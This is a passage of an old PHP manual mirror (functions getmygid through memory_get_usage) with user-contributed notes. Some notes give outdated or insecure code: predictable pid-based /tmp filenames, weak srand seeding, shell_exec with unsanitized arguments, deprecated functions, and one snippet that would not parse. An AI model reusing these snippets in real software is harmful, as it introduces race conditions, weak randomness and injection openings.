echo "Last modified: " . date("D F d Y h:i:s A", filemtime($_SERVER["SCRIPT_FILENAME"]));
Thanks to: Edward S. Marshall
add a note add a note

后退 | 起点 | 前进
getenv | 上一级 | getmygid


getmygid

(PHP 4 >= 4.1.0, PHP 5)

getmygid -- Get PHP script owner's GID

Description

int getmygid ( void )

Returns the group ID of the current script, or FALSE on error.

See also getmyuid(),
getmypid(),
get_current_user(),
getmyinode(), and
getlastmod().

add a note add a note User Contributed Notes
08-May-2006 01:04
To clarify, the getmygid() function gets the gid of the PHP script, that is the gid of the file.

To get the effective gid of the running PHP engine, use the posix_getegid() function.
add a note add a note

后退 | 起点 | 前进
getlastmod | 上一级 | getmyinode


getmyinode

(PHP 3, PHP 4, PHP 5)

getmyinode -- Gets the inode of the current script

Description

int getmyinode ( void )

Returns the current script's inode, or FALSE on error.

See also
getmygid(),
getmyuid(),
get_current_user(),
getmypid(), and
getlastmod().

注: 本函数未在 Windows 平台下实现。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
getmygid | 上一级 | getmypid


getmypid

(PHP 3, PHP 4, PHP 5)

getmypid -- Gets PHP's process ID

Description

int getmypid ( void )

Returns the current PHP process ID, or FALSE on error.

警告

Process IDs are not unique, thus they are a weak entropy source. We recommend against relying on pids in security-dependent contexts.

See also
getmygid(),
getmyuid(),
get_current_user(),
getmyinode(), and
getlastmod().

add a note add a note User Contributed Notes
kroczu at interia dot pl
19-Dec-2005 08:59
<?
/*

mixed getpidinfo(mixed pid [, string system_ps_command_options])

this function gets PID-info from system ps command and return it in useful assoc-array,
or return false and trigger warning if PID doesn't exists

$pidifo=getpidinfo(12345);

print_r($pidifo);

Array
(
   [USER] => user
   [PID] => 12345
   [%CPU] => 0.0
   [%MEM] => 0.0
   [VSZ] => 1720
   [RSS] => 8
   [TT] => ??
   [STAT] => Is
   [STARTED] => 6:00PM
   [TIME] => 0:00.01
   [COMMAND] => php someproces.php > logfile
)

*/

//////////////////////////////////////////////

function getpidinfo($pid, $ps_opt="aux"){

   $ps=shell_exec("ps ".$ps_opt."p ".$pid);
   $ps=explode("\n", $ps);

   if(count($ps)<2){
     trigger_error("PID ".$pid." doesn't exists", E_USER_WARNING);
     return false;
   }

   foreach($ps as $key=>$val){
     $ps[$key]=explode(" ", ereg_replace(" +", " ", trim($ps[$key])));
   }

   foreach($ps[0] as $key=>$val){
     $pidinfo[$val] = $ps[1][$key];
     unset($ps[1][$key]);
   }

   if(is_array($ps[1])){
     $pidinfo[$val].=" ".implode(" ", $ps[1]);
   }
   return $pidinfo;
}

?>
Pure-PHP
22-Mar-2005 06:26
You can use this function also to avoid more than one instance of your app.

You can also use this class.
http://www.pure-php.de/node/20

Usage:

<?php

inlude("ProcessHandler.class.php");

if(ProcessHandler::isActive()){
   die("Already running!\n";);
}else{
   ProcessHandler::activate();
   //run my app
}

?>
brooke at jump dot net
25-Oct-2003 08:49
One good use for this is deciding on a concurrency-safe temporary file or directory name. You can be assured that no two processes on the same server have the same PID, so this is enough to avoid collisions. For example:

$tmpfile = "/tmp/foo_".getmypid();
// Use $tmpfile...
// Use $tmpfile...
// Use $tmpfile...
unlink ($tmpfile);

If you are sharing /tmp over the network (which is odd....) then you can, of course, mix in the PHP server's IP address.
barry at staes dot nl
30-Jul-2003 03:26
Why dont use use uniqid() to get a unique serial nr for security purposes?
Or md5(uniqid()), for extra fun.
Check http://www.php.net/uniqid for more about this..
Webmaster at PopCart dot com
27-Mar-2003 08:29
$_SERVER['REMOTE_ADDR'] is a bad thing to use these days.
Since AOL, and MSN Browsers change the IP address at the
most uncomfortable times, such as going from unsecure to
secure mode, you cannot rely on it staying the same anymore.
Using this Octal-Quad for hanging on to a user, such as in
shopping carts will ALWAYS FAIL with AOL browsers.  FYI.
10-Sep-2002 05:46
Something you can use to combine several weak entropy sources, into a better init value for srand() and mt_srand():

mt_srand(time()
   ^ (int)microtime()
   ^ ip2long($_SERVER['REMOTE_ADDR'])
   ^ (int)$_SERVER['REMOTE_PORT']
   ^ @getmypid()
   ^ @disk_free_space('/tmp')
   );

Note that getmypid() may return 0 on some shared PHP installations that have excluded it for "safe"...

The safe mode also exclude the disk_free_space(directory) function call in some cases, for security reason. This explains the use of the @ operator to ignore warnings... the directory should be a highly active directory, which is accessible and typically used for temporary contents generated by PHP.

The above code combines all these sources using XOR binary operations, to avoid 32-bit overflows.
carl at NOSPAM dot thep dot lu dot se
06-Aug-2001 07:07
As it is very unlikely today that there will be two PHP processes with
the same process ID within the same microsecond, this function can
be used for something like srand((int)microtime() ^ getmypid() ^ time())
to have a decent chance of avioding a collision.
<p>
Just relying on the time in microseconds is a rather Bad Thing to do, since
a contect switch might very well take a lot less than that, so there's a decent
chance of two simultaneous request to get the same ID.
<P>
If you're running your php script upon an HTTP request, you might even want to toss in the IP addy of the remote host in your seed for a bit of extra entropy. You can't be too paranoid when it comes to 'random' numbers.
<p>(Side note: I tried using hardware to generate random numbers, but
with my setup it took just about forever to gather enough entropy.
All hail ran3()! )
add a note add a note

后退 | 起点 | 前进
getmyinode | 上一级 | getmyuid


getmyuid

(PHP 3, PHP 4, PHP 5)

getmyuid -- Gets PHP script owner's UID

Description

int getmyuid ( void )

Returns the user ID of the current script, or FALSE on error.

See also getmygid(),
getmypid(),
get_current_user(),
getmyinode(), and
getlastmod().

add a note add a note User Contributed Notes
gls at home dot shurson dot net
18-Oct-2003 04:27
If you use the latest version of Apache, you can build suExec with it, which will run your CGI scripts as the user you specify... and if you are running in a ~user directory, it will assume the uid and gid of that user.

Hope this helps.
sRp at srparish dot net
04-Apr-2000 05:48
After running into this problem, i wrote a program which you can install as setuid root in you php safemode exec dir. (defined in php3.ini)  You then can do system() calls to this program to change the ownership of file, in a fassion such so that it shouldn't allow people to break the security of your box.  You can get the program at http://srparish.net/scripts/chuid-1.0.tar.gz
add a note add a note

后退 | 起点 | 前进
getmypid | 上一级 | getopt


getopt

(PHP 4 >= 4.3.0, PHP 5)

getopt -- Gets options from the command line argument list

Description

array getopt ( string options [, array longopts] )

Returns an associative array of option / argument pairs based on the options format specified in options, or FALSE on an error.

On platforms that have the C function getopt_long, long options can be specified with the parameter longopts (as of PHP 4.3.0).

<?php
// parse the command line ($GLOBALS['argv'])
$options = getopt("f:hp:");
?>

The options parameter may contain the following elements: individual characters, and characters followed by a colon to indicate an option argument is to follow. For example, an option string x recognizes an option -x, and an option string x: recognizes an option and argument -x argument. It does not matter if an argument has leading white space.

This function will return an array of option / argument pairs. If an option does not have an argument, the value will be set to FALSE.

注: 本函数未在 Windows 平台下实现。

add a note add a note User Contributed Notes
fertugrul [ at ] yahoo [dot] com
06-Jun-2006 05:55
I have written another function to parse command line variables. The source can be found at http://afe.cc/getopt.txt and the include file generic.h is at http://afe.cc/generic.h .

What you need to do is to put required variables to an array in a specific order and call parse_args. All variables that must be read from command line are set automatically. I've tried to imitate the output of GNU's getopt library.

Hope it helps.
AFE
joey at alegria dot co dot jp
01-May-2006 12:57
There are 2 simpler (and much faster) methods for getting good getopt() operation without creating your own handler.

1. Use the Console_Getopt PEAR class (should be standard in most PHP installations) which lets you specify both short and long form options as well as whether or not arguments supplied to an option are themselves 'optional'. Very simple to use and requires very little code to operate compaired to writing own handler.

2. If you cannot load external PEAR objects, use your shell's getopt() functions (which in BASHs case work very well) to process options and have your shell script then call your PHP script with a rigid argument structure that is very easy for PHP to digest such as:
% myfile.php -a TRUE -b FALSE -c ARGUMENT ...
If the initial arguments are invalid you can have the shell script return an error without calling the PHP script. Sounds convoluted but is a very simple solution and in fact PHP's own % pear command uses this method. /usr/bin/pear is a shell script that does some simle checking before calling pearcmd.php and repassing the arguments on to it.

The second method is by far the best for portability because it allows a single shell script to check a few things like your PHP version and respond acordingly e.g. does it call your PHP4 or PHP5 compatible script? Also, because getopt() is not available on Windows, The second solution allows you to do Windows specific testing as a BAT file (as oposed to BASH, ZSH or Korn on UNIX).
andrew dot waite at databanx dot net
09-Dec-2005 08:59
After having problems with the getopt() function I developed this to handle parameters in a smilar way to 'nix shell script. Hope this is of some us to someone.

#!/usr/bin/php4
<?php
#
#    Purpose:    Parse parameters passed to script in way comaparable to shell script
#    Usage:        include_once("/some/path/getArgs.php"); OR
#            require_once("/some/path/getArgs.php"); depending on context of parent script
#    Post:        Generate an associative array $params
#
#    Author:        A.Waite
#    Date:        09/12/05
#    Version:    V1.0

   $i = 1;
   $params = array();
   for ($i=1; $i < $argc; $i++){

       if ( isParam($argv[$i]) ){

           if (strlen($argv[$i]) == 1){
               //do nothing
               // single -

           }elseif ( strlen($argv[$i]) == 2){
               //seperated (ie -H www.google.com)  or no value parameter (ie. -h)
               $paramName = $argv[$i];
               $paramVal = ( !isParam( $argv[ $i + 1 ] ) ) ? $argv[$i + 1] : null;

           }elseif ( strlen($argv[$i]) > 2){
               //joined parameters ie -Hwww.google.com
               $paramName = substr($argv[$i],0,2);
               $paramVal = substr($argv[$i],2);
           }

           $params[ $paramName ] = $paramVal;

       }

   }

   #determines whether string is a parameter
   function isParam($string){
       return ($string{0} == "-") ? 1: 0;
   }
?>
nutbar at innocent dot com
07-Sep-2005 02:40
The code snippet that daevid at daevid dot com gives works, however is not a perfect getopt replacement since you cannot use the "default" switch statement.

Usage: prog [OPTIONS] <req'd argument> <req'd argument>

The switch() call will eventually run on those 2 required arguments.  If you use the "default" statement, it will catch the argument and chances are you use the default statement as your --help trap, thus it will exit the script (if that's what you do).

So, if you use that example below, you may want to check each "argv" variable, and if it doesn't match --*, then you may want to skip past it and store it in another array for retrieval as a required argument if your script uses those.

I will be writing a getopt class that will do everything properly possibly, if/when I do, I'll post it up here so you can all use it rather than the built in getopt code (seems a bit limiting compared to the actual C library getopt_long()).
daevid at daevid dot com
01-Jun-2005 04:11
This is how I parse command line options:

<?php
$OPTION['debug'] = false;
$OPTION['test'] = false;
$OPTION['force'] = "";

//loop through our arguments and see what the user selected
   for ($i = 1; $i < $_SERVER["argc"]; $i++)
   {
       switch($_SERVER["argv"][$i])
       {
           case "-v":
           case "--version":
           echo  $_SERVER['argv'][0]." v07.19.04 06:10 PM\n";
           exit;
               break;

           case "--debug":
               $OPTION['debug'] = true;
               break;

           case "--force":
               $OPTION['force'] = " --force";
               break;

           case "--db":
           case "--database":
           case "--id":
           if ( is_numeric($_SERVER['argv'][$i+1]) )
               $OPTION['CompanyID'] = intval($_SERVER['argv'][++$i]);
           else //it must be a database name
               $OPTION['CompanyDB'] = $_SERVER['argv'][++$i];
               break;

           case "--base":
           case "--basedir":
           case "--dir":
               $OPTION['basedir'] = $_SERVER["argv"][++$i];
               break;

           case "--test":
               $OPTION['test'] = true;
               break;

           case "-?":
           case "-h":
           case "--help":
?>
This will print any .txt files, process any .sql files and
execute any .php files found starting from the base directory
'<?=$OPTION['basedir']?>' in alphabetical order.

 Usage: <?php echo $_SERVER['argv'][0]; ?> <option>

 --help, -help, -h, or -?    to get this help.
 --version                    to return the version of this file.
 --debug                    to turn on output debugging.
 --test                        to fake the SQL and PHP commands.
 --force                    to ignore SQL errors and keep on going.
 --db [CompanyDB]            to apply to only this [CompanyDB].
 --id [CompanyID]            to apply to only this [CompanyID].
 --basedir [directory]        to change base directory from <?=$OPTION['basedir']?>.
 Omitting the CompanyID or CompanyDB will cause ALL Company DB's to be updated.

 There are global files and per-company files. Global files are applied to global
 databases (see list below). Their filename contains a tag that reflects the database
 to apply them against. Per-company files are applied against databases. Their
 filename contains a tag that reads 'COMPANY'. Files should be in <?=$OPTION['basedir']?>;
 Global files that are understood:
<?=$OPTION['basedir']?>
 <?php foreach ($GLOBAL_SQL_FILES as $sqlFile) echo $sqlFile."  "; ?>

<?php
               exit;
               break;
       }
   } //parse arguments

//    print_r($OPTION);
?>
dante at wiw dot org
31-Jan-2005 12:44
i didn't like the way getopt worked, exactly, so i wrote a new variant, that other people would possibly like to see. (works more like perl's function)

it reads an array of options like:

$opAr = array ("-a|--append","-l|--list","-i|--input:");

$op = bgetop($opAr);

and parses the command line, returning an array like

$op['cmdline'] = $param;  ...

it has a small bug that can easily be avoided ... haven't yet determined how to work around the particular case where the bug exists, but otherwise is very robust.

it also accepts wildwards as the last option, or the output from another program like 'find' :

./getop.php `find /etc -name *.conf`

populates the $op array with the filenames returned from find.  it's pretty nifty.

the source is at : http://higginsforpresident.net/projects/source/getopt-0.1.phps

i didn't want to post it here until i fixed that one condition, but the function works nicely (as expected) if you don't use duplicate beginnings for different option array strings:

$opAr = array("-f:","--foo");

bgetopt() sees --foo needs no 'next input', but -f exists in '--foo', so ./getop.php -f foobar set's f to 'true', which is the
expected result of array("-f","--foo") or array("-f|--foo"), but not ("-f:","--foo");

enjoy.  (my first submission here ... be kind.)
grange
15-Oct-2004 10:50
getopt() will return an empty array if you call it more than once.
vedanta at maintec dot com
12-May-2004 05:36
A sample use  :

#!/usr/bin/php
<?php
$opt = getopt("s:f:r:u:");
$help="***Error :url_mailer.php -s <subject> -f <sender_email> -r <receipient_email> -u <url_to_mail>";
if($opt[s]=='' || $opt[r]=='' || $opt[u]=='' || $opt[f]=='' ){ echo "$help\n";exit(); }

# prepare the mail message from the url
$url=trim($opt[u]);
$message=file_get_contents($url);

# prepare mail headers
$headers = "MIME-Version: 1.0\r\n";
$headers.= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers.= "From: $opt[f] \r\n";

# send the mail
mail($opt[r],$opt[s],$message,$headers);
?>
chris at tiny dot net
24-Apr-2004 10:17
"phpnotes at kipu dot co dot uk" and "tim at digicol dot de" are both wrong or misleading.  Sean was correct.  Quoted space-containing strings on the command line are one argument.  It has to do with how the shell handles the command line, more than PHP.  PHP's getopt() is modeled on and probably built upon the Unix/POSIX/C library getopt(3) which treats strings as strings, and does not break them apart on white space.

Here's proof:

$ cat opt.php
#! /usr/local/bin/php
<?php
$options = getopt("f:");
print_r($options);
?>
$ opt.php -f a b c
Array
(
   [f] => a
)
$ opt.php -f 'a b c'
Array
(
   [f] => a b c
)
$ opt.php -f "a b c"
Array
(
   [f] => a b c
)
$ opt.php -f a\ b\ c
Array
(
   [f] => a b c
)
$
klewan at chello dot at
20-Dec-2003 12:00
For all buddies outside who dont get getopt to work :)
here is a php variant with just standard function calls

<?
//Set Defaults
$options["a"]="valA";
$options["b"]="valB";

parseArgs($argv,&$options);

//options will be $options["FLAG"] (if not argument is given like -h the $options["h"] will be set to bolean true

if($options["h"] == true) {
       print_usage();
       exit(1);
}
var_dump($options);

function parseArgs($a = array(), $r) {
$f=NULL;
       for($x = 0; $x < count($a); $x++) {

               if($a[$x]{0} == "-") {
                       $f=$a[$x];
                       $r[substr($f,1,strlen($f))]=true;
               }
               if ($f != NULL) {
                       if (($a[$x+1] != NULL) && ($a[$x+1] != "") && ($a[$x+1] != "") && ($a[$x+1]{0} != "-")) {
                               $r[substr($f,1,strlen($f))]=$a[$x+1];
                       } else {
                           $f=$a[x+1];
                       }
               }
       }
}

function print_usage() {
       echo "-a bla bla\n";
       echo "-b bla bla\n";
       echo "-h display this help\n";

}
?>
carl at thep dot lu dot se dot nospam
17-Jul-2003 10:07
Unlike POSIX.2 getopt(), this function does not modify argv, so it's
only useful if you have no non-option arguments. More often than
not, you're probably better off examining $argv yourself.
add a note add a note

后退 | 起点 | 前进
getmyuid | 上一级 | getrusage


getrusage

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

getrusage -- Gets the current resource usages

Description

array getrusage ( [int who] )

This is an interface to getrusage(2). It returns an associative array containing the data returned from the system call. If who is 1, getrusage will be called with RUSAGE_CHILDREN.

All entries are accessible by using their documented field names.

例子 1. getrusage() example

<?php
$dat = getrusage();
echo $dat["ru_nswap"];         // number of swaps
echo $dat["ru_majflt"];        // number of page faults
echo $dat["ru_utime.tv_sec"];  // user time used (seconds)
echo $dat["ru_utime.tv_usec"]; // user time used (microseconds)
?>
See your system's man page on getrusage(2) for more details.

注: 本函数未在 Windows 平台下实现。

add a note add a note User Contributed Notes
php at lavrenko dot pp dot ru
20-Oct-2005 07:21
The author of the article mentioned in the previous post says "Once I got a negative value for both times - I have absolutely no clue how that can happen.". This is because time in microseconds is not padded with zeros from the left, therefore, you cannot concatenate the two numbers. Instead, you should normalize the values and then add them up:

$dat["ru_utime.tv_sec"]*1e6+$dat["ru_utime.tv_usec"];
ng4rrjanbiah at rediffmail dot com
17-Nov-2004 06:51
Here is a nice comment on benchmarking PHP codes using getrusage function http://blog.rompe.org/node/85

HTH,
R. Rajesh Jeba Anbiah
add a note add a note

后退 | 起点 | 前进
getopt | 上一级 | ini_alter


ini_alter

(PHP 4, PHP 5)

ini_alter -- 别名 ini_set()

说明

本函数是该函数的别名： ini_set().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
getrusage | 上一级 | ini_get_all


ini_get_all

(PHP 4 >= 4.2.0, PHP 5)

ini_get_all -- Gets all configuration options

Description

array ini_get_all ( [string extension] )

Returns all the registered configuration options as an associative array. If the optional extension parameter is set, returns only options specific for that extension.

The returned array uses the directive name as the array key, with elements of that array being global_value (set in php.ini), local_value (perhaps set with ini_set() or .htaccess), and access (the access level). See the manual section on configuration changes for information on what access levels mean.

注: It's possible for a directive to have multiple access levels, which is why access shows the appropriate bitmask values.

例子 1. A ini_get_all() example

<?php
$inis = ini_get_all();

print_r($inis);

?>

Partial output may look like:

Array
(
    [allow_call_time_pass_reference] => Array
    (
        [global_value] => 1
        [local_value] => 1
        [access] => 6
    )
    [allow_url_fopen] => Array
    (
        [global_value] => 1
        [local_value] => 1
        [access] => 7
    )

    ...

)

See also: ini_get(),
ini_restore(),
ini_set(),
get_loaded_extensions(), and
phpinfo().

add a note add a note User Contributed Notes
justd@ntmailme
21-Dec-2002 12:15
I guess the third entry is the required access level (to change this variable at runtime):

Constant          Value      Meaning
PHP_INI_USER      1          Entry can be set in user scripts
PHP_INI_PERDIR    2          Entry can be set in php.ini, .htaccess or httpd.conf
PHP_INI_SYSTEM    4          Entry can be set in php.ini or httpd.conf
PHP_INI_ALL      7          Entry can be set anywhere

See also the docs for ini_set()

Hugo.
add a note add a note

后退 | 起点 | 前进
ini_alter | 上一级 | ini_get


ini_get

(PHP 4, PHP 5)

ini_get -- Gets the value of a configuration option

Description

string ini_get ( string varname )

Returns the value of the configuration option on success. Failure, such as querying for a non-existent value, will return an empty string.

When querying boolean values: A boolean ini value of off will be returned as an empty string or "0" while a boolean ini value of on will be returned as "1".

When querying memory size values: Many ini memory size values, such as upload_max_filesize, are stored in the php.ini file in shorthand notation. ini_get() will return the exact string stored in the php.ini file and NOT its integer equivalent. Attempting normal arithmetic functions on these values will not have otherwise expected results. The example below shows one way to convert shorthand notation into bytes, much like how the PHP source does it.

例子 1. A few ini_get() examples

<?php
/*
Our php.ini contains the following settings:

display_errors = On
register_globals = Off
post_max_size = 8M
*/

echo 'display_errors = ' . ini_get('display_errors') . "\n";
echo 'register_globals = ' . ini_get('register_globals') . "\n";
echo 'post_max_size = ' . ini_get('post_max_size') . "\n";
echo 'post_max_size+1 = ' . (ini_get('post_max_size')+1) . "\n";
echo 'post_max_size in bytes = ' . return_bytes(ini_get('post_max_size'));

function return_bytes($val) {
    $val = trim($val);
    $last = strtolower($val{strlen($val)-1});
    switch($last) {
        // The 'G' modifier is available since PHP 5.1.0
        case 'g':
            $val *= 1024;
        case 'm':
            $val *= 1024;
        case 'k':
            $val *= 1024;
    }

    return $val;
}

?>

This script will produce:

display_errors = 1
register_globals = 0
post_max_size = 8M
post_max_size+1 = 9
post_max_size in bytes = 8388608

See also
get_cfg_var(),
ini_get_all(),
ini_restore(), and
ini_set().

add a note add a note User Contributed Notes
Webmaster at GrimChild dot com
20-May-2006 02:34
Just thought I would add.

Very simple way of parsing data such as post_max_size

eregi_replace('[gmk]','',ini_get('post_max_size'));
filh at filh dot org
21-Nov-2005 10:24
Concerning the value retourned, it depends on how you set it.
I had the problem with horde-3 which test the safe_mode value.
THan :
- if you set the value with php_admin_value safe_mode Off (or On) ini_get returns the string
- if you set the value with php_admin_flag safe_mode Off (or On) ini_get returns the boolean.
09-Nov-2005 05:56
@marcus at synchromedia dot co dot uk

you misunderstood the comment. Of course you can use on and off, and they will work correctly.
But this entry is about *ini_get*. And if you ini_get() a value that is set to "off" in php.ini, you get returned 0 (as described above in the documentation). If you ini_get() a value that is set to "off" via .htaccess, you will be returned the string "off", which - if you use it in an if-clause, will be autoconverted to 1 (as is usual for strings).

So the problem is that which is returned by ini_get(), not what you can and cannot use in .htaccess. Sorry being unclear about this.
marcus at synchromedia dot co dot uk
05-Nov-2005 05:21
The last comment about setting values in .htaccess is not right. These lines both result in display_errors being turned off:

php_value display_errors true
php_value display_errors off

So PHP does NOT coerce the value into a boolean, but it checks for exact values of the string. These both work:

php_value display_errors on
php_value display_errors 1
01-Nov-2005 03:16
Important: The manual says that ini_get will return 0 or an empty string for boolean config values that are set to off in php.ini.

This is technically correct, however when you use

php_value register_globals off

in an .htaccess file, ini_get will return the string, which will "evaluate" to 1. So if you are using mod_php you have to check boolean config values against the strings (upper/lowercase etc.) anyhow or you will get wrong results.
david dot tulloh at infaze dot com dot au
22-Jun-2005 10:01
You can set custom entries in the ini file to provide globals such as database details.
However these must be retrieved with get_cfg_var, ini_get won't work.
Der Graph
17-Aug-2004 02:59
It might be useful for included scripts that include other files to extend the 'include_path' variable:

<?  ini_set('include_path',ini_get('include_path').':../includes:');  ?>

Sometimes, it may also be useful to store the current 'include_path' in a variable, overwrite it, include, and then restore the old 'include_path'.
fbeyer at <nospam>clickhand dot de
13-Aug-2002 10:29
If you want to test ini flags (eg. On/Off), I recommend to explicitly cast the value returned by ini_get() to boolean - it is cleaner as you only get true or false, not 0 or 1 or "" as described above.

<?php
   $register_globals = (bool) ini_get('register_gobals');
?>

C fans may of course also cast it to (int) to play with 0 and 1 - that's also cleaner to print().
add a note add a note

后退 | 起点 | 前进
ini_get_all | 上一级 | ini_restore


ini_restore

(PHP 4, PHP 5)

ini_restore -- Restores the value of a configuration option

Description

void ini_restore ( string varname )

Restores a given configuration option to its original value.

See also
ini_get(),
ini_get_all(), and
ini_set().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ini_get | 上一级 | ini_set


ini_set

(PHP 4, PHP 5)

ini_set -- Sets the value of a configuration option

Description

string ini_set ( string varname, string newvalue )

Sets the value of the given configuration option. Returns the old value on success, FALSE on failure. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.

Not all the available options can be changed using ini_set(). There is a list of all available options in the appendix.

See also: get_cfg_var(),
ini_get(),
ini_get_all(),
ini_restore()  和
How to change configuration
settings

add a note add a note User Contributed Notes
RebootConcepts.com
01-Apr-2006 05:36
set PHP_INI_PERDIR settings in a .htaccess file with 'php_flag' like this:

php_flag register_globals off
php_flag magic_quotes_gpc on
Ron Ludwig
11-Jan-2006 03:30
When your ISP does not allow you to add the default include directories - it might be useful to extend the 'include_path' variable:

<?  ini_set('include_path',ini_get('include_path').':../includes:');  ?>
David Jackson
20-Sep-2005 07:40
You can also find the Apache config files by useing command httpd -V
brainiac5 dot php at aimail dot de
05-Sep-2004 10:54
To find the apache php settings try something like this.
> cd /etc/apache2
> grep -r -n -i  safe_mode_exec_dir *.conf
or
> grep -r -n -i safe_mode.*On *.conf

If you find a gererated file, obviously you need to find the source template for it, to change what's needed there.

I just wasted a sunny Sunday on searching for where the heck safe_mode_exec_dir was changed.

And yes, Local Value in phpinfo does mean 'changed between the php.ini file and here', as you would think.

If you have an automated virtual host configuration, such as confixx, php ini values can be spread across very many files.

They can be changed in apache config files, that can have any name, but usually will end on .conf, besides in .htaccess files.
klw at gmx dot at
05-Sep-2004 09:49
To change settings from .htaccess files, it is also required that the directory permissions configured in Apache allow this.

The <Directory /foo/bar> entry in httpd.conf MUST contain "AllowOverride All" or at least "AllowOverride Options" to read PHP settings from the .htaccess file.

E.g. in Fedora Core 2, the default settings for /var/www/html/ are "AllowOverride None", so changing PHP settings via .htaccess for applications installed below /var/www/html/ will not work.
sean at php dot net
14-Aug-2004 09:54
While this doesn't belong in the manual, it should be useful for people looking on this page for zend_optimizer.* ini options, which are commonly installed:

Information on the "zend_optimizer.optimization_level" and "zend_optimizer.enable_loader" options is available at:

http://www.zend.com/support/user_docs/ZendOptimizer/PDF/ZendOptimizer_UserGuide.pdf
vincent(at)tigroux(dot)net
30-Apr-2004 09:20
Where you want set ini in .htaccess or vhosts directives, if the value of directive is boolean , use php_flag, else if the value is a string use php_value.

Ex : php_value include_path /home/user/include
php_flag zlib.output_compression On
davey at its-explosive dot net
18-Mar-2003 10:42
If you set something using php_admin_value in httpd.conf it is then not possible to be set the value at runtime, even if it's NOT PHP_INI_SYSTEM.

Just an interesting note for Server admins this might come in handy to disable setting of certain things... like allow_url_fopen.

- Davey
miroslav AT simunic DOT de
30-Sep-2002 11:26
If its not your server and therefore you want to hide the data in your session variables from other users, its very useful to set the session.save_handler in your scripts to shared memory with:

"ini_set('session.save_handler','mm')".

Remember: You have to set it in every script that uses the session variables BEFORE "session_start()" or php wont find them.
Tr909 at com dot nospam dot bigfoot
13-Jun-2002 01:04
[[[Editors note: Yes, this is very true.  Same with
register_globals, magic_quotes_gpc and others.
]]]

Many settings, although they do get set, have no influence in your script.... like upload_max_filesize will get set but uploaded files are already passed to your PHP script before the settings are changed.

Also other settings, set by ini_set(), may be to late because of this (post_max_size etc.).
beware, try settings thru php.ini or .htaccess.
johnzoet at netscape dot com
14-Mar-2002 10:13
[[[Editors note: Just because you're able to set something
doesn't mean it will work as expected.  Depends on the
setting.  For example. setting register_globals at
runtime will be of little use as its job has already
been completed by the time it reaches your script.
]]]

When a setting can not be changed in a user script, the return value of ini_set is "empty", not "false" as you may expect.
If you check in your script for return value is "false" the script will continue processing, although the setting has not been set.
The boolean return value is used for settings that can be changed in a script. Otherwise the empty value is returned.
To test for both error conditions use:
if (empty($blnResult) or (!$blnResult)) {
   echo "setting cannot be set";
   exit;
}
add a note add a note

后退 | 起点 | 前进
ini_restore | 上一级 | main


main

(no version information, might be only in CVS)

main -- Dummy for main()

Description

There is no function named main() except in the PHP source. In PHP 4.3.0, a new type of error handling in the PHP source (php_error_docref) was introduced. One feature is to provide links to a manual page in PHP error messages when the PHP directives html_errors (on by default) and docref_root (on by default until PHP 4.3.2) are set.

Sometimes error messages refer to a manual page for the function main() which is why this page exists. Please add a user comment below that mentions what PHP function caused the error that linked to main() and it will be fixed and properly documented.

表格 1. Known errors that point to main()

Function name | No longer points here as of
include() | 4.3.2
include_once() | 4.3.2
require() | 4.3.2
require_once() | 4.3.2

See also html_errors and display_errors.

add a note add a note User Contributed Notes
Maurice
02-May-2006 02:12
Notice: main() [function.main]: The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition "<classname>" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide a __autoload() function to load the class definition in <filename> on line <line>

You get this error if you have and object in your $_SESSION array and you call session_start() before you have loaded your included classes.
add a note add a note

后退 | 起点 | 前进
ini_set | 上一级 | memory_get_usage


memory_get_usage

(PHP 4 >= 4.3.2, PHP 5)

memory_get_usage -- Returns the amount of memory allocated to PHP

Description

int memory_get_usage ( void )

Returns the amount of memory, in bytes, that's currently being allocated to your PHP script.

memory_get_usage() will only be defined if your PHP is compiled with the --enable-memory-limit configuration option.

例子 1. A memory_get_usage() example

<?php
// This is only an example, the numbers below will
// differ depending on your system

echo memory_get_usage() . "\n"; // 36640

$a = str_repeat("Hello", 4242);

echo memory_get_usage() . "\n"; // 57960

unset($a);

echo memory_get_usage() . "\n"; // 36744

?>

See also memory_limit.

add a note add a note User Contributed Notes
e dot a dot schultz at gmail dot com
09-Apr-2006 07:41
This is a function that should work for both Windows XP/2003 and most distrabutions of UNIX and Mac OS X.

<?php
if( !function_exists('memory_get_usage') )
{
   function memory_get_usage()
   {
       //If its Windows
       //Tested on Win XP Pro SP2. Should work on Win 2003 Server too
       //Doesn't work for 2000
       //If you need it to work for 2000 look at http://us2.php.net/manual/en/function.memory-get-usage.php#54642
       if ( substr(PHP_OS,0,3) == 'WIN')
       {
               if ( substr( PHP_OS, 0, 3 ) == 'WIN' ):
               $output = array();
               exec( 'tasklist /FI "PID eq ' . getmypid() . '" /FO LIST', $output );

               return preg_replace( '/[\D]/', '', $output[5] ) * 1024;
       }else
       {
           //We now assume the OS is UNIX
           //Tested on Mac OS X 10.4.6 and Linux Red Hat Enterprise 4
           //This should work on most UNIX systems
           $pid = getmypid();
           exec("ps -eo%mem,rss,pid | grep $pid", $output);
           $output = explode("  ", $output[0]);
           //rss is given in 1024 byte units
           return $output[1] * 1024;
       }
   }
}
?>
xolox at home dot nl
03-Apr-2006 09:02
<?php

// Original from http://php.net/memory_get_usage by websjwans at hotmail dot com. Thanks alot!
if ( ! function_exists( 'memory_get_usage' ) ):
   // Only define function if it doesn't exist
   function memory_get_usage()
   {
       // If we are running on Windows
       if ( substr( PHP_OS, 0, 3 ) == 'WIN' ):
           $output = array();
           // Should check whether tasklist is available, but I'm lazy
           exec( 'tasklist /FI "PID eq ' . getmypid() . '" /FO LIST', $output );
           // Filter non-numeric characters from output. Why not use substr & strpos?
           // I'm running Windows XP Pro Dutch, and it's output does not match the
           // English variant, as will all other translations. This is a more generic
           // approach, and has a better chance of actually working
           return preg_replace( '/[^0-9]/', '', $output[5] ) * 1024;
           // Tasklist outputs memory usage in kilobytes, memory_get_usage in bytes.
           // So we multiply by 1024 and in the process convert from string to integer.
       else:
           return false;
       endif;
   }
endif;

?>

Works for me. Functionality should match memory_get_usage(), albeit slower (exec & regex). Have fun!

- Peter Odding
John Ring
22-Mar-2006 03:54
Oops, that was a question.

I'll change it to a note simply:

Note: This is NOT enabled at all in the Win32 builds.

Best regards
